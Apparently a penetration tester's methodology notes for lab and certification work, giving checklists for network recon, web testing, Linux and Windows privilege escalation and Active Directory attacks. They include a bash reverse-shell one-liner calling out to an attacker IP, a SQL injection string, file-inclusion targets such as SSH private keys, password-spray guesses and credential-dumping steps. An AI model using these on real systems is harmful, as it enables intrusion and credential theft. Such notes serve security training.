Initial Enumeration Methodology

Tuesday, January 21, 2025 9:38 PM

Reconnaissance & Target Discovery

Identify target scope (IP ranges, domains, subnets)

Passive Recon

1. **Gather public info (DNS, WHOIS, certificates, company structure)**
2. **Search public data leaks (Google Dorks, GitHub, Pastebin, etc.)**

Active Recon

1. **Discover all active hosts on the target network/IP range/subnet(s). Document all active hosts to Obsidian notes**
    - NMAP Host Discovery Scan
    - ICMP sweep (ping or fping)
    - TCP/UDP host discovery (nmap -sn, masscan)
    - ARP scanning (if on same subnet)
    - Add discovered hostnames to **/etc/hosts** file

2. **For each active host, Scan ALL TCP / UDP ports. Document each open port for the respective host in Obsidian.**
    - NMAP TCP port scanning
    - NMAP UDP port scanning

3. **For each open port, run service version scan on discovered ports with scripts and OS detection.**
    - NMAP service enumeration and OS detection
    - Netcat banner grabbing (manual confirmation)
    - Document services and service versions in Obsidian

4. **For each detected service, do individual service enumeration to look for more information and vulnerabilities**

5. **Check for vulnerabilities in discovered services / service versions**
    - Search metasploit for service exploits with the discovered version
    - Search ExploitDB for service exploits with the discovered version
    - Look at NMAP script output for discovered vulnerabilities or misconfigurations (ex: anonymous login)
    - Look for OS version exploits
    - Search Google for "<Service> <Version> Exploit GitHub"
    - Document discovered vulnerabilities in Obsidian

6. **Check file share services (FTP, SMB, etc.) for anonymous logon and credential files**
    - FTP Enumeration
    - SMB Enumeration

7. **Check for write access over a share (SMB, FTP)**
    - Capturing Hashes with Malicious .lnk File
    - Capture hashes with SCF on a File Share (no longer works on Windows Server 2019 or greater)

8. **If webserver(s) exist, see Webserver Enumeration Methodology**

Documentation and Reporting

Follow the Bruno Rocha Moura Method **for documenting findings**

Webserver Enumeration Methodology

Friday, April 4, 2025 1:18 PM

Passive Recon

1. **Look at public DNS records for domains/subdomains to enumerate**
2. **Look at certificates and other public info for domains/subdomains to enumerate**
    a. Public Domain Information

Active Recon

1. **Add domain to /etc/hosts file (if applicable)**

2. **Run directory/page brute force discovery**
    - First fuzz for extension (if available)
    - If extension is discovered, then fuzz for directories and other pages (with extension appended)

3. **Look in robots.txt file or sitemaps.xml for hidden endpoints**
    - https://www.example.com/robots.txt
    - https://www.example.com/sitemap.xml

4. **Run subdomain/vhost brute force discovery (RUN MULTIPLE WORDLISTS)**
    - Run subdomain brute force discovery (**External Only**)
    - Run vhosts brute force discovery (**Internal & External**)

5. **Crawl the webpage for all links**
    - Web Crawling / Robots
    - Crawling with FinalRecon
    - Crawling with ZAP Proxy

6. **Look for comments in HTML for sensitive information**
    - Check all crawled and discovered pages

7. **Capture server errors (e.g. 500, 403) that might leak tech stack info**

8. **Look for vulnerabilities in Web Server technologies being used**
    - Use Wappalyzer to discover web server technologies in browser
    - Use BuiltWith to discover web server technologies (**External only**)
    - Use WhatWeb CLI tool to discover web server technologies
    - Scan the webserver with Nikto to discover web technologies and vulnerabilities
    - Scan the webserver with **NMAP and web discovery scripts**
    - Attempt banner grabbing the webserver with curl
    - Discover Web Application Firewalls (WAFs) with Wafw00f

9. **If the webserver is determined to be running NodeJS or MongoDB, look for NOSQL injection vulnerabilities**

10. **Look for web service versions on discovered pages (Jenkins, WP, blog platforms, etc). Use enumeration techniques depending on the technology:**
    - Look for **CMS** or app-specific files (wp-content, .git/, etc.)
    - WordPress Enumeration
    - Joomla Enumeration
    - Drupal Enumeration
    - Tomcat Enumeration
    - Jenkins Enumeration
    - IIS Tilde Enumeration
    - Other

11. **Look for vulnerabilities in discovered web service versions and/or technologies**
    - Search metasploit for service exploits with the discovered version
    - Search ExploitDB for service exploits with the discovered version
    - Search Google for "<Service> <Version> Exploit GitHub"

12. **Look for login pages to test default or weak credentials**
    - Default Credential lists
    - Login Brute Forcing
    - ☑ Check for **password reset** or recovery mechanisms
    - ☑ Review **cookies & sessions** (flags like Secure, HttpOnly)
    - ☑ Test for **session fixation** or missing CSRF protections

13. **Test submitting data on EVERY user input field and looking at interaction with Burp Suite**
    - Intercepting Web Requests
    - Test SQL Injection on login pages to try and bypass them

14. **If input appears to be used in a system command, test for command injection**

14. **If a file upload functionality exists, test for file upload vulnerabilities**

15. **If the webserver appears to be populating data from a database, test for SQL Injection**
    - Test for SQL UNION Injection separately (test' UNION select 1-- -)
    - Any input fields, test with **sqlmap**
    - Test SQL Injection on **login pages to try and bypass them**

16. **If Accounts, Pages, or other things on the webpage seem to sequential and accessible in a GET or POST request, check for IDOR vulnerabilities.**

17. **If GET parameters seem to be referencing local files on the system, test for file inclusion vulnerabilities / path traversal.**
    - Run an LFI Automation scan against any parameters that reference a file, especially in GET requests like http://example.com/index.php?page=goober.html
    - Good Candidate Example:
    - `preprod-marketing.trick.htb/index.php?page=contact.html`
    - If LFI exists, look for the following payloads:
        - `/etc/passwd`
        - `/var/mail/<username> (if we can send emails to user then we can send and access a PHP webshell)`
        - `/home/<username>/.ssh/id_rsa`
        - `Webserver source code (index page and other interesting pages)`
            - `/etc/nginx/nginx.conf`
            - `/etc/nginx/sites-enabled/default`
            - `/etc/nginx/sites-available/default`
            - `/etc/apache2/sites-enabled/default`
            - `/etc/apache2/sites-available/default`
        - `/var/log/apache2/access.log (for log poisoning)`
        - `/var/log/nginx/access.log (for log poisoning)`
        - `Any file paths from error pages`

18. **Check user input fields for XSS**

19. **Check different HTTP verbs to bypass access controls or injection validations**

20. **If XML input is accepted, test for XML External Entity (XXE) vulnerabilities**

21. **If the webserver has a web socket or API that is reachable, check if the POST/GET requests are injectable with SQLMAP**
    - Websocket / API Injection

Shells and Payloads

1. Linux Reverse Shells
2. Windows Reverse Shells
3. Web Reverse Shells
4. **Going from webshell to reverse shell on Linux:**
    - `bash -c 'bash -i >& /dev/tcp/10.10.14.8/7777 0>&1`
    - Make sure to URL encode the payload

Documentation and Reporting

Follow the Bruno Rocha Moura Method **for documenting findings**

Linux Privilege Escalation Methodology

Tuesday, January 21, 2025 9:45 PM

If Webserver Exists

1. **Check web configuration files and source code for vulnerabilities, hard coded credentials, etc.**
    - Enumeration: Credential Hunting
    - Check the source code of all pages, including index
    - **For Apache (httpd):**
        - /var/www/html — default root for Apache on most distros (e.g., Ubuntu, Debian).
        - /var/www/ — base directory for multiple sites or vhosts.
        - /srv/http/ — default on Arch Linux.
        - /usr/share/httpd/ — sometimes used on RHEL/CentOS.
        - /etc/apache2/sites-available/000-default.conf
    - **For Nginx:**
        - /usr/share/nginx/html — default on CentOS/RHEL.
        - /var/www/html — common if configured similarly to Apache.
        - /etc/nginx/sites-available/ and /etc/nginx/sites-enabled/ — config files, not content.
    - **Other possible locations:**
        - /opt/web/ — custom installations.
        - /home/user/public_html/ — sometimes used for user web directories.
        - ~/www/ or ~/html/ — user-specific web roots.

Default Methodology

1. **Run Linux Priv Esc Automation Scripts. Save output to a file and transfer it to Kali Box to examine in a text editor.**
    - LinPeas
    - LinEnum

2. **Perform basic box enumeration once a foothold is established**
    - First user checks / network checks
    - Checking Sudo Privileges
    - Check OS/Kernel Version
    - Check $PATH variable
    - List Processes running as root
    - Discover other users on the machine
    - Check for SSH keys
    - Check current user bash history
    - Check if Shadow is readable or Passwd is writable
        - Additionally check for hashes in /etc/passwd
    - Enumerate Existing Groups
    - Check for running Cron Jobs
    - Check for Unmounted File Systems and Additional Drives
        - Weak NFS Privileges
    - Find Writable Directories and Files
    - Enumerate All Hidden Files and directories
    - Enumerate Services and Versions and binaries
    - Check for accessible configuration files
    - Check for accessible scripts

3. **Enumerate for hardcoded / cleartext credentials on the system (quickly check config files)**

- BE ESPECIALLY ATTENTIVE TO OUT OF THE ORDINARY SERVICES
- Look for things in /opt
- Look for web config files
- Enumeration: Credential Hunting

4. **Look at access rights of the user we gained a foothold with (Sudo/SUID/GUID)**
   - Checking for Sudo privileges
   - Checking SUID/GUID Privileges
   - Check these rights in GTFOBins

5. **Check for unique files owned by the user or by the group that the user is in**
   - Unique Files Owned by User

6. **If our user has sudo privileges over a binary not in GTFOBins, try the LD_PRELOAD Privilege Escalation Exploit**

7. **If custom binaries exist with the SETUID bit set, try Shared Object Hacking**

8. **Check the groups the user is a part of and see if any of them are privileged groups**
   - Enumerate Existing Groups
   - LXC / LXD Group Membership
   - Docker Group Membership
   - Disk Group Membership
   - ADM Group Membership

9. **Check for PATH abuse (unlikely)**

10. **Check for Wildcard abuse in cron jobs or custom scripts**

11. **Look for services running on internal ports that were not accessible from the outside with netstat**
    - Checking for Internal Listening Ports/Services

12. **Check for additional NICs using commands like ifconfig to see if there are any other sub networks**
    - Enumerate Network Interfaces
    - Enumerate Other Hostnames

13. **Look for cronjobs running writable scripts / services running as root or another privileged user**

14. **Look for abusable linux capabilities**

15. **Look for vulnerable application / service versions**
    - Vulnerable Services
    - Enumerate Services and Versions
    - Enumerating Binaries

16. **Check for Logrotate exploit**

17. **Check for kernel exploits**
    - Search for exploits on GitHub, ExploitDB, and Metasploit

18. **If Python script exists, check for Python Library Hijacking**

19. **Check for vulnerable versions of Netfilter**

20. Check for hijackable tmux sessions

21. If tcpdump exists on the machine, try capturing cleartext traffic for credentials

22. Check for recent exploits and zero days

- Recent Zero Days (From CPTS Modules)

23. Check /etc/bash.bashrc for actions taken on login for any user

Attempt to brute force root user with password file and sucrack

Linux Container Privilege Escalation

1. **Linux Containers (LXC/LXD)**
2. **Docker Privilege Escalation**
3. **Kubernetes Privilege Escalation**

Documentation and Reporting

Follow the Bruno Rocha Moura Method **for documenting findings**

Windows Privilege Escalation Methodology

Tuesday, January 21, 2025 9:46 PM

If Webserver Exists

1. **Check web configuration files and source code for vulnerabilities, hard coded credentials, etc.**
    - **Enumeration: Credential Hunting**
    - **Check the source code of all pages, including index**
    - **Potential Locations**
        - `C:\xampp\htdocs` (common with Apache)
        - `C:\inetpub`

1. **Run Windows Priv Esc Automation Scripts. Save the output to a file and transfer it to the attack box in the appropriate CTF f older. Examine in text editor for easier readability.**
    - winPEAS
        - Things to check
    - Seatbelt
    - PowerUp **/** SharpUp
    - JAWS - Recommended by Ippsec. Uses PowerShell. Could be worth trying if custom executables are blocked.
    - SessionGopher
    - Full List
    - Bloodhound

2. **Perform basic box enumeration once a foothold is established**
    - Gathering Network Information
    - Gathering System Information
    - Gathering Process Enumeration
    - User and Group Enumeration

3. **Look at access rights of user we have a foothold with (user privileges)**
    - Windows Privileges Overview
    - `whoami /priv`
      `whoami /all`
    - SeImpersonate / SeAssignPrimaryToken (JuicyPotato / RoguePotato / PrintSpoofer)
    - SeDebugPrivilege
    - SeTakeOwnershipPrivilege

4. **Check if user is a member of privileged groups**
    - `whoami /groups`
    - Backup Operators
    - Event Log Readers
    - DnsAdmins
    - Hyper-V Admins
    - Print Operators
    - Server Operators
    - WSUS Administrators

5. **Check for Weak File / Service Permissions**
    - Permissive File System ACLs
    - Weak Service Permissions
    - Unquoted Service Path
    - Permissive Registry ACLs
    - Modifiable Registry Autorun Binary

6. **Check for saved credentials**
    - Cmdkey Saved Credentials
      `cmdkey /list`
    - If we get access this way, run mimikatz to try to extract their plaintext password

7. **Look for services running on internal ports that were not accessible from the outside with netstat**
    - Databases we can connect to?
    - `netstat -ano`
    - Vulnerable Services

8. **Check for additional NICs using commands like ipconfig**

9. **Look for vulnerable applications and services**
    - `wmic product get name`

- Vulnerable Services

10. **Look for interesting files on the server that may have credentials or other sensitive info**
    - Credential Hunting
    - Credential Hunting Other Files
    - Further Credential Theft
    - Dumping Hashes / Credentials
    - Mimikatz

11. **Pillage for credentials or other interesting information**
    - Pillaging Overview
    - Pillaging Applications
    - Accessing Instant Messaging Clients Through Cookies
    - Pillaging the Clipboard + Keylogging
    - Roles and Services (pillaging backups)

12. **Look for scheduled tasks that we can modify**
    - Scheduled Tasks

13. **Look for credentials in process command line**
    - Process Command Line

14. **Check for 'always install elevated' setting and exploit with MSI package**
    - Always Install Elevated

15. **Capture hashes with a Malicious LNK file or SCF file**
    - **ESPECIALLY USEFUL IF WE THINK USERS WILL VISIT A SHARE THAT WE HAVE UPLOADED TO**
    - Capturing Hashes with Malicious .lnk File
    - Capture hashes with SCF on a File Share (no longer works on Windows Server 2019 or greater)

16. Look for Kernel / OS exploits

- Kernel Exploits
  - § Zero logon
  - § PrintNightmare
- EOL Systems and their exploits (Windows Server 2008, Windows 7, etc.)

17. Attempt to bypass UAC Controls if present

- User Account Control (UAC) Attacks

18. DLL Injection

- DLL Injection

19. Common Vulnerabilities and Vulnerable Programs (Talked about in the CPTS)

- Docker Desktop Community Edition before 2.1.0.1 (CVE-2019-15752)
- Windows Certificate Dialog (CVE-2019-1388)

20. Attempt to Capture Network Traffic with Inveigh/Responder, Wireshark, or Snaffler

- Traffic Capture
- Snaffler - SMB Share Enumeration Tool
- LLMNR/NBT-NS Poisoning From Windows
- LLMNR/NBT-NS Poisoning From Linux

21. Enumerate User/Computer Description Fields for cleartext credentials or other useful information

- User/Computer Description Field

22. If the system has .vhd, .vhdx, and .vmdk files, we can mount them to potentially dump the machine hashes

- Mount VHDX/VMDK

23. **Check for Active Directory Certificate Services (AD CS) attacks**

If trying to be evasive or if custom executables are locked down, check out LOLBAS for alternative methods

- Living Off The Land Binaries and Scripts (LOLBAS)

Once we are Admin

1. **Attempt to recover all of the user passwords or NTLM hashes on the system**
    - Dump the LSASS process to try and recover more user passwords or NTLM hashes
    - Stealing NTLM Hashes from an LSASS.DMP Memory Dump
    - Dumping the SAM Database to recover password hashes

Active Directory Methodology

Friday, April 4, 2025 1:19 PM

BEFORE YOU DO ANYTHING MAKE SURE TO SYNC YOUR CLOCK WITH THE DOMAIN CONTROLLER

Initial (Uncredentialed) Enumeration

Host Identification

1. Create a document for all discovered hosts (hostnames and IP addresses).
2. Start Wireshark and listen for Layer 2 (ARP, MDNS, NBNS) traffic to discover IP addresses and hostnames.
3. Start Responder in Analyze mode to discover IP addresses and hostnames.
4. Perform an Fping ICMP Sweep to find all hosts on your subnet that respond to an ICMP echo request.
5. Perform an NMAP identification scan in case it picks up anything we missed.
6. With all of the discovered hosts, perform an NMAP scan to determine the services running on each host.
    a. Save to a file all ports/services running on each discovered host, but pay special attention to Domain Controllers, RDP, Naming conventions, etc.
    b. Look for any quick wins that can give us an initial foothold, like outdated software or OS.

User Identification

1. Create a document for all discovered users.
2. Attempt to abuse an SMB Null Session against the domain controller with a tool like rpcclient or enum4linux to grab all users
3. Attempt to abuse an anonymous ldap search against the domain controller with a tool like ldapsearch or windapsearch to grab all users
4. Try Impacket's lookupsid.py for discovering users with SID/RID brute forcing.
5. Use Kerbrute and common wordlists (that match the naming convention of the organization) to brute force usernames against a discovered DC.
6. Check for users that do not require Kerberos pre-auth (ASREP-ROASTING) to get their password hash.
7. Look for systems that can be exploited to gain SYSTEM level access. This is essentially like getting AD credentials.

User Foothold

1. Start Responder/Inveigh on network interface to listen for NTLM users and hashes. Attempt to crack them with Hashcat/John
2. Attempt a password spray on users identified during **user identification**
    a. Attempt to gather the password policy of the organization first
    b. Password spray against the discovered users using a common password like "Welcome1", "ChangeMe1", "SeasonYear (Spring2025)",username as the password, etc.

Credentialed Enumeration / Exploitation

Host Identification

1. Run Bloodhound with discovered credentials **(mark anything we have controlled over as owned)**
2. Use `ldapdomaindump` to identify all domain joined computers
3. Enumerate accessible shares on servers with NetExec, SMBMap, PowerView, or Snaffler

User Identification

1. **Run Bloodhound with discovered credentials (mark anything we have controlled over as owned)**
    a. Bloodhound.py
    b. Bloodhound from Windows
2. Gather the domain password policy using the discovered credentials
3. Use the discovered credentials and a tool like NetExec to get all users, groups, and logged-on users against the server you have credentials for (ultimate goal is DC)
4. **Gather a list of Domain Admins or Privileged users using the following tools:**
    - Windapsearch
    - PowerView
    - Bloodhound
    - AD powershell module
5. Credentialed Enumeration - from Linux
6. Credentialed Enumeration - from Windows

Foothold Enumeration

1. **Run Bloodhound with discovered credentials**
    a. Bloodhound.py
    b. Bloodhound from Windows
2. Enumerate security controls in place (Defender, AppLocker, PowerShell Constraints, LAPS)
3. Look for other logged-on users using CME to see if we can dump any credentials with Mimikatz or Rubeus
4. Look for **kerberoastable accounts** through Bloodhound, PowerView, GetUserSPNs.py
5. Look at owned users for abusable ACL entries (ForceChangePassword, AddMember, GenericAll, etc.). Easiest to do in **BloodHound**.
    - ACL Enumeration
6. Check bloodhound for **CanRDP**, **CanPSRemote**, or **SQLAdmin** abilities to move laterally onto other machines.

Pivoting

1. Run chisel for windows on the Windows pivot host
    - Connect with the linux chisel client on the attack host
    - Modify the proxychains.conf file to match the proxy that is established
    - Run commands with proxychains
2. Check bloodhound for **CanRDP**, **CanPSRemote**, or **SQLAdmin** abilities to move laterally onto other machines.

Exploitation

1. Look for **kerberoastable accounts** through Bloodhound, PowerView, GetUserSPNs.py
2. Grab all TGS tickets with GetUserSPNs.py (or Windows equivalent) and save to a file. Attempt to crack with Hashcat (on a GPU rig preferably)
3. Abuse any over permissive ACL entries to gain control of more users and move laterally throughout the network.
    a. **ForceChangePassword** to change a user's password to one we know
    b. **AddMember** to add a member we control to a privileged group
    c. **GenericAll/GenericWrite** to create an SPN for account and kerberoast their password hash (to potentially crack)
    d. GenericAll to change the user's password
    e. **DS-Replication-Get-Changes-All** to perform a DCSync attack
    f. **AddKeyCredentialLink** to get user's NTLM Hash
    g. **ACL Abuse from Linux**
4. Check bloodhound for **CanRDP**, **CanPSRemote**, or **SQLAdmin** abilities to move laterally onto other machines. Abuse these rights and look for sensitive info on the new machines
5. Check for common vulnerabilities to escalate privileges or move laterally:
    a. NoPac
    b. PrintNightmare
    c. PetitPotam
6. Check for common misconfigurations to escalate privileges or move laterally:
    a. Exchange group permissions
    b. MS-RPRN Printer bug
    c. MS14-068
    d. Sniff for LDAP credentials
    e. Enumerate DNS records for interesting servers
    f. Look for user passwords and other notes in AD user descriptions
    g. Check for PASSWD_NOTREQD Field on users and test for weak/no passwords
    h. Look for credentials and other interesting files on SMB shares manually or with Snaffler
    i. Check for DONT_REQ_PREAUTH field and ASREPRoasting any discovered users
    j. Check for GPOs that we have write access over to gain administrator rights or move laterally (Can be checked with BloodHound)
    k. Resource Based Constrained Delegation, Constrained Delegation, Unconstrained Delegation
    l. Active Directory Certificate Services Attacks
7. Check for Group Policy Preferences (GPP) Passwords
8. **Check for Active Directory Certificate Services (AD CS) attacks**

Additional Auditing

1. Create a snapshot of the AD database with AD Explorer for offline analysis
2. Use PingCastle to discover additional AD misconfigurations and vulnerabilities
3. Run Group3r to uncover vulnerabilities in AD Group Policy
4. Run ADRecon.ps1 to discover additional AD misconfigurations and vulnerabilities that we may have missed

Attacking AD Trusts (Parent Domain)

1. Discover any current domain trusts with other domains using Get-ADTrust, Get-DomainTrust (PowerView), or Bloodhound
2. From a Windows or Linux machine with Domain Admin privileges, attempt an ExtraSIDs attack to create an Enterprise Admin user in the parent domain
3. Domain Trusts Overview
4. Child -> Parent Attacks - Windows
5. Child -> Parent Attacks - Linux

Attacking AD Trusts (Cross Forest)

1. Discover any current domain trusts with other domains using Get-ADTrust, Get-DomainTrust (PowerView), or Bloodhound
2. Attempt cross-forest kerberoasting
3. If **admin accounts share names across domains**, and one is compromised, **try reused credentials**.
4. Check for SIDHistory abuse
5. Cross-Forest Trust Abuse - Windows
6. Cross-Forest Trust Abuse - Linux

Additional Noteworthy Methods

1. Access a host via RDP or WinRM as a local user or a local admin
2. Authenticate to a remote host as an admin using a tool such as **PsExec**
3. Gain access to a sensitive file share
4. Gain MSSQL access to a host as a DBA user, which can then be leveraged to escalate privileges